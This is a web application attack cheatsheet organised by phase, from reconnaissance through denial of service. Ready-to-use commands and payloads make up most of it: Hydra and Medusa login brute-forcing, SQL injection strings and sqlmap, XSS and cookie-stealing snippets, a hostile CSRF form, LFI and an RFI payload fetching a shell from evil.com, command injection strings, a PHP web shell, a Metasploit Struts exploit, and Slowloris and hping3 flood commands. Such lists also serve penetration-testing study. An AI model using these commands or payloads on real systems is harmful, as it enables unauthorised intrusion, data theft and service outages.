Web Application Hacking – Practical Attack Methodology & Tools Cheatsheet

# 1. Reconnaissance

\*\*Goal\*\*: Gather information about the target web application.

Tools & Commands:

- Nmap: `nmap -sV -p 80,443 <target>` (discover web server and versions)

- WhatWeb: `whatweb <target>` (identify technologies)

- Wappalyzer (Browser Extension): Detect frameworks, CMS, DB, etc.

- Sublist3r: `sublist3r -d <domain>` (subdomain enumeration)

- Gobuster: `gobuster dir -u <target> -w /path/to/wordlist` (directory brute-force)

# 2. Authentication Attacks

\*\*Goal\*\*: Break or bypass authentication mechanisms.

Tools & Commands:

- Hydra: `hydra -l admin -P rockyou.txt <target> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"`

- Burp Suite: Intruder module → Brute force login fields.

- Medusa: `medusa -h <target> -u admin -P passwords.txt -M http`

# 3. SQL Injection (SQLi)

\*\*Goal\*\*: Manipulate SQL queries to extract or modify data.

Tools & Commands:

- Manual Testing: `admin' OR '1'='1 --`

- SQLMap: `sqlmap -u "http://target.com/index.php?id=1" --dbs`

- Havij: GUI tool for automated SQL injection (legacy).

# 4. Cross-Site Scripting (XSS)

\*\*Goal\*\*: Inject malicious scripts into web pages.

Types: Stored, Reflected, DOM-based.

Tools & Commands:

- Payload Example: `<script>alert('XSS')</script>`

- XSStrike: `python xsstrike.py -u "http://target.com?q=test"`

- Burp Suite: Scanner to detect reflected XSS.

# 5. Cross-Site Request Forgery (CSRF)

\*\*Goal\*\*: Force a user to execute unwanted actions while authenticated.

Methodology:

- Craft malicious HTML form that auto-submits requests.

Tools & Commands:

- Burp Suite CSRF POC Generator.

- Manual HTML: `<form action="http://target.com/change\_pw" method="POST"><input type="hidden" name="password" value="hacked"></form>`

# 6. Server-Side Request Forgery (SSRF)

\*\*Goal\*\*: Trick server into making requests on behalf of attacker.

Tools & Commands:

- Example Payload: `http://target.com/fetch?url=http://127.0.0.1:80/admin`

- SSRFmap: `python ssrfmap.py -u "http://target.com/fetch?url=FUZZ" -p payloads.txt`

- Burp Suite Repeater → Modify parameters to test internal requests.

# 7. File Inclusion Attacks

\*\*Goal\*\*: Include local or remote files for code execution.

Types: LFI (Local File Inclusion), RFI (Remote File Inclusion).

Tools & Commands:

- LFI Payload: `http://target.com/index.php?page=../../../../etc/passwd`

- RFI Payload: `http://target.com/index.php?page=http://evil.com/shell.txt`

- DotDotPwn: `dotdotpwn -m http -u "http://target.com/index.php?page=TRAVERSAL"`

# 8. Command Injection

\*\*Goal\*\*: Inject OS commands into application inputs.

Tools & Commands:

- Example Payload: `; ls -la` OR `&& whoami`

- Commix: `python commix.py --url="http://target.com/index.php?id=1" --data="input=test"`

- Burp Suite → Send payloads via Repeater.

# 9. File Upload Attacks

\*\*Goal\*\*: Upload malicious files for code execution.

Tools & Commands:

- Example Payload: Upload PHP shell: `<?php system($\_GET['cmd']); ?>`

- Burp Suite: Modify file upload requests.

- Weevely: `weevely generate password shell.php`

# 10. Session Management Attacks

\*\*Goal\*\*: Hijack or manipulate sessions.

Tools & Commands:

- Stealing Cookies via XSS: `document.cookie`

- Burp Suite → Edit session cookies.

- THC-Hydra for brute forcing session IDs.

# 11. Business Logic Flaws

\*\*Goal\*\*: Exploit flaws in the logic of application workflows.

Examples:

- Skipping payment steps.

- Modifying product price in parameters.

Tools & Commands:

- Burp Suite Repeater → Tamper workflow requests.

- OWASP ZAP → Analyze flows.

# 12. Web Server/Tech-Specific Attacks

\*\*Goal\*\*: Exploit known vulnerabilities in specific web technologies.

Examples:

- Apache Struts RCE (CVE-2017-5638).

- PHP misconfigurations.

- Tomcat Manager brute-force.

Tools & Commands:

- Nikto: `nikto -h <target>`

- Metasploit: `use exploit/multi/http/struts\_dmi\_exec`

# 13. Denial of Service (DoS/DDoS)

\*\*Goal\*\*: Make web app unavailable to legitimate users.

Tools & Commands:

- Slowloris: `perl slowloris.pl -dns <target>`

- LOIC/HOIC (legacy stress testing).

- hping3: `hping3 -S --flood -p 80 <target>`